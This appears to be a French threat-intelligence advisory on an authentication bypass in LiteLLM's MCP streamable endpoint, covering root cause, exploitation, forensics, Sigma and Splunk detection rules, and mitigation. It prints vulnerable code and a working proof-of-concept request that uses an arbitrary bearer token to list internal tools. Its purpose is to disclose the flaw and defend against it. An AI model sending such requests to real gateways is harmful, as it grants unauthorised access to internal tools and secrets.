CVE-2026-59822 : contournement d'authentification sur le Point de terminaison HTTP streamable MCP de LiteLLM
HERMES THREAT SCORE & EXPLOITABILITÉ OPÉRATIONNELLE
Cible :Passerelle HTTP Streamable LiteLLM MCP Propulsé à 96 EXTRÊME par Hermes : inscription au catalogue CISA KEV, kits d'exploits publics armés dans la nature et forgeage d'authentification trivial accordant un accès immédiat aux outils MCP d'entreprise et aux clés d'API des LLM.
CVE-2026-59822: LiteLLM MCP Streamable HTTP Auth BypassVULNÉRABILITÉ
Enterprise LLM proxy gateway supporting Model Context Protocol (MCP) streamable endpoints and unified LLM APIs.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Directly confirmed by vendor advisory GHSA-59822 and federal advisory in CISA KEV.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
- [vendor_confirmation]LiteLLM vendor advisory explicitly documents that any bearer token string was accepted on streamable endpoints. — Source : BerriAI LiteLLM Team: Security Advisory: Streamable HTTP Authentication Bypass in LiteLLM MCP Server (Fiabilité : VERY_HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Hijacking MCP endpoints enables attackers to supply crafted tool execution parameters.”
- [vendor_confirmation]LiteLLM vendor advisory explicitly documents that any bearer token string was accepted on streamable endpoints. — Source : BerriAI LiteLLM Team: Security Advisory: Streamable HTTP Authentication Bypass in LiteLLM MCP Server (Fiabilité : VERY_HIGH)
Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Unauthenticated MCP access allows scraping upstream model API keys and internal environment variables.”
- [vendor_confirmation]LiteLLM vendor advisory explicitly documents that any bearer token string was accepted on streamable endpoints. — Source : BerriAI LiteLLM Team: Security Advisory: Streamable HTTP Authentication Bypass in LiteLLM MCP Server (Fiabilité : VERY_HIGH)
HTTP traffic logs demonstrating connections to /mcp/streamable with arbitrary Bearer tokens bypassing validation.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Access logs record HTTP POST requests with missing or dummy Authorization headers.”
- [vendor_confirmation]LiteLLM vendor advisory explicitly documents that any bearer token string was accepted on streamable endpoints. — Source : BerriAI LiteLLM Team: Security Advisory: Streamable HTTP Authentication Bypass in LiteLLM MCP Server (Fiabilité : VERY_HIGH)
Detects anomalous streamable HTTP session initialization to LiteLLM endpoints with missing or dummy bearer tokens.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Sigma rule SIG-MCP-042 flags unauthenticated session establishment requests.”
- [vendor_confirmation]LiteLLM vendor advisory explicitly documents that any bearer token string was accepted on streamable endpoints. — Source : BerriAI LiteLLM Team: Security Advisory: Streamable HTTP Authentication Bypass in LiteLLM MCP Server (Fiabilité : VERY_HIGH)
Attacker registers rogue MCP tools or skills with weaponized docstrings and deceptive metadata that trick the model into routing sensitive user tasks to attacker-controlled functions.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Unauthenticated MCP access allows registering rogue tool definitions with weaponized descriptions.”
- [vendor_confirmation]LiteLLM vendor advisory explicitly documents that any bearer token string was accepted on streamable endpoints. — Source : BerriAI LiteLLM Team: Security Advisory: Streamable HTTP Authentication Bypass in LiteLLM MCP Server (Fiabilité : VERY_HIGH)
Exploitation of unauthenticated, unsigned inter-agent communication channels to forge delegation directives, impersonate orchestrator agents, and command worker subagents.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Compromising the MCP streaming proxy allows injecting spoofed responses into peer agent message flows.”
- [vendor_confirmation]LiteLLM vendor advisory explicitly documents that any bearer token string was accepted on streamable endpoints. — Source : BerriAI LiteLLM Team: Security Advisory: Streamable HTTP Authentication Bypass in LiteLLM MCP Server (Fiabilité : VERY_HIGH)
Enterprise LLM proxy gateway supporting Model Context Protocol (MCP) streamable endpoints and unified LLM APIs.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in LiteLLM Proxy & MCP Server documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Analyse de la cause racine (root cause analysis)
Section intitulée « Analyse de la cause racine (root cause analysis) »LiteLLM fait office de proxy inverse, de répartiteur de charge et de passerelle de sécurité pour les modèles de langage (LLM). Afin de supporter l’exécution d’agents autonomes, les versions récentes ont intégré le support du standard Model context protocol (MCP) via des canaux de transport HTTP Streamable et SSE (Server-Sent Events).
La faille réside dans le middleware d’authentification contrôlant l’arborescence des routes /mcp (/mcp, /mcp/stream et les points de terminaison RPC associés). En temps normal, une requête entrante doit présenter une clé principale ou virtuelle LiteLLM valide dans l’en-tête Authorization.
Requête entrante -> /mcp/stream [Authorization: Bearer <token>] │ ▼ Vérification de la clé API LiteLLM (Échec) │ ▼ Bascule vers la routine de repli (OAuth2 Fallback) │ ▼ Capture de l'exception de validation │ ▼ [FAILLE CRITIQUE] Instanciation : user_auth = UserAPIKeyAuth() │ ▼ Routage aval : if user_auth: -> ACCÈS ACCORDÉLorsqu’un jeton synthétique ou invalide est soumis, la routine de vérification principale déclenche une exception d’authentification. Au lieu de clore immédiatement l’échange par une réponse HTTP 401 Unauthorized, le gestionnaire de la route MCP redirige l’exécution vers une routine de vérification de type OAuth2 passthrough.
Dans ce bloc de secours, l’exception non traitée aboutit par défaut à l’instanciation d’une structure vide UserAPIKeyAuth(). Les mécanismes d’autorisation suivants évaluent l’identité de l’appelant en vérifiant simplement l’existence de cet objet :
# Modèle d'implémentation vulnérable (simplifié)user_auth = Nonetry: user_auth = await validate_litellm_key(token)except Exception: # Repli défaillant : renvoi d'un objet vide au lieu de lever une erreur 401 user_auth = UserAPIKeyAuth()
# Le portail d'accès vérifie l'existence de l'objetif user_auth is not None: return await handle_mcp_stream(request, user_auth)En Python, une instance de dataclass instanciée s’évalue systématiquement à True. La requête franchit donc l’ensemble des vérifications ultérieures sans lever la moindre exception. Le système assigne un contexte permissif par défaut à la transaction, octroyant à l’appelant non authentifié un accès complet au sous-système MCP.
Analyse de l’exploitation (exploit analysis)
Section intitulée « Analyse de l’exploitation (exploit analysis) »Le vecteur d’attaque est strictement distant (réseau) et ne requiert aucun privilège préalable ni identifiant valide.
1. Établissement de session non authentifiée
Section intitulée « 1. Établissement de session non authentifiée »L’attaquant envoie une requête HTTP POST vers le point d’accès Streamable HTTP avec un jeton Bearer arbitraire :
POST /mcp/stream HTTP/1.1Host: litellm-proxy.target.corpAuthorization: Bearer invalid_synthetic_token_1337Content-Type: application/json
{ "jsonrpc": "2.0", "method": "tools/list", "params": {}, "id": 1}Le serveur exécute la branche de repli défaillante et initialise une session MCP bidirectionnelle. La réponse renvoie l’inventaire complet des fonctions et outils enregistrés sur l’instance LiteLLM :
{ "jsonrpc": "2.0", "result": { "tools": [ { "name": "corporate_sql_query", "description": "Execute read queries on the production customer database", "inputSchema": { "type": "object", "properties": { "query": { "type": "string" } } } }, { "name": "system_bash_exec", "description": "Run diagnostic utilities on backend worker nodes", "inputSchema": { "type": "object", "properties": { "cmd": { "type": "string" } } } } ] }, "id": 1}2. Impact opérationnel et mouvement latéral
Section intitulée « 2. Impact opérationnel et mouvement latéral »Une fois la session MCP initialisée :
- Exécution arbitraire d’outils (kinetic execution) : l’attaquant invoque directement les fonctions déclarées via
tools/call. Comme détaillé dans notre étude sur l’Architecture de l’Injection d’Outils (Tool Injection), les serveurs MCP disposent fréquemment d’accès aux bases de données internes, aux systèmes de fichiers ou à des consoles de commande (bash). L’accès direct à ces outils équivaut à une exécution de code à distance (RCE). - Vol de secrets et clés d’API : l’interaction avec les fonctions d’administration du proxy permet d’extraire les clés de fournisseurs tiers (clés API OpenAI, Anthropic, AWS Bedrock) stockées en mémoire vive.
- Chaînage de vulnérabilités : cette faille peut être combinée avec des vulnérabilités documentées antérieurement sur LiteLLM, notamment CVE-2026-42208 (injection SQL sur la vérification des clés) et CVE-2026-30623 (exécution de commandes arbitraires via la configuration MCP).
Marqueurs forensiques (forensic markers)
Section intitulée « Marqueurs forensiques (forensic markers) »Les équipes de réponse aux incidents (DFIR) doivent examiner les artefacts suivants :
1. Journaux des serveurs mandataires inverses (reverse proxy)
Section intitulée « 1. Journaux des serveurs mandataires inverses (reverse proxy) »- Accès suspects aux routes MCP : requêtes POST vers
/mcp,/mcp/stream,/mcp/v1/streamableou/mcp/messagesen provenance d’adresses IP publiques non autorisées. - Anomalies de codes d’état HTTP : présence de codes
200 OKsur ces chemins pour des requêtes comportant des chaînes d’authentification invalides (normalement rejetées en401 Unauthorized). - Agents utilisateurs suspects : utilisation directe de bibliothèques clientes (
curl/*,python-requests/*,Go-http-client/*) ciblant les routes d’écoute en continu.
2. Journaux applicatifs LiteLLM
Section intitulée « 2. Journaux applicatifs LiteLLM »- Sessions d’utilisateurs sans identifiant : présence d’événements sans
user_idni clé identifiée dans les logs JSON :{"level": "INFO", "endpoint": "/mcp/stream", "user_id": null, "key_hash": null, "mcp_method": "tools/call"} - Traces d’avertissements de repli OAuth2 suivies de succès d’exécution dans les journaux d’audit.
3. Télémétrie des appels d’outils et consommations LLM
Section intitulée « 3. Télémétrie des appels d’outils et consommations LLM »- Déclenchements imprévus d’outils sensibles sans corrélation avec une activité utilisateur légitime dans le module de suivi des dépenses (LiteLLM Spend Tracking).
- Trafic sortant anormal depuis le conteneur du proxy vers des ressources internes (bases de données PostgreSQL/MySQL, partages de fichiers).
Règles de détection (detection rules)
Section intitulée « Règles de détection (detection rules) »title: Tentative d'exploitation du contournement d'authentification LiteLLM MCP (CVE-2026-59822)id: 5a7e6b21-4f89-4c23-92ef-d3b194f59822status: experimentaldescription: Détecte les tentatives d'accès non autorisé au point de terminaison Streamable HTTP MCP de LiteLLM exploitant la faille de repli OAuth2.references: - https://github.com/BerriAI/litellm/security/advisories/GHSA-7488-6r32-c95q - https://nvd.nist.gov/vuln/detail/CVE-2026-59822author: Hermes Codex CTIdate: 2026-09-06logsource: category: webserver product: litellmdetection: selection_mcp_paths: cs-method: 'POST' cs-uri-stem|startswith: - '/mcp/' - '/mcp' selection_headers: cs-header_authorization|contains: 'Bearer ' filter_status: sc-status: 200 condition: selection_mcp_paths and selection_headers and filter_statusfalsepositives: - Sessions de clients automatisés légitimes utilisant des clés valides (corréler avec les identifiants déclarés).level: hightags: - attack.initial_access - attack.t1190 - cve.2026.59822index=proxy sourcetype=access_combined uri_path IN ("/mcp", "/mcp/*", "/mcp/stream") http_method="POST" status=200| eval auth_header_present=if(isnotnull(req_header_authorization), 1, 0)| where auth_header_present=1| stats count earliest(_time) as first_seen latest(_time) as last_seen by client_ip, uri_path, user_agent, status| sort - countMesures d’atténuation (mitigation)
Section intitulée « Mesures d’atténuation (mitigation) »1. Remédiation principale
Section intitulée « 1. Remédiation principale »Mettre à jour immédiatement LiteLLM vers la version 1.84.0 ou ultérieure. Cette version refond la séquence d’authentification des routes MCP, neutralise le contournement de repli et émet une exception 401 Unauthorized stricte dès qu’une clé est invalide.
2. Isolation réseau et filtrage d’urgence (virtual patching)
Section intitulée « 2. Isolation réseau et filtrage d’urgence (virtual patching) »Dans l’attente du déploiement du correctif :
- Blocage au niveau du mandataire inverse : interdire l’accès externe au préfixe
/mcp/au niveau de la passerelle d’entrée (Nginx, Envoy, Cloudflare, Traefik) :location ^~ /mcp/ {deny all;return 403;} - Durcissement de configuration : si les fonctionnalités MCP ne sont pas exploitées en production, désactiver les routes MCP dans le fichier
config.yamlde LiteLLM et isoler le service sur un sous-réseau interne restreint.
Sources et références
Section intitulée « Sources et références »- Catalogue CISA KEV : directive opérationnelle contraignante BOD 26-04
- Avis de sécurité GitHub : GHSA-7488-6r32-c95q
- Base de données nationale des vulnérabilités (NVD) : CVE-2026-59822
- Analyses Hermes Codex liées : architecture de sécurité du protocole MCP et Injection d’outils dans les architectures d’agents IA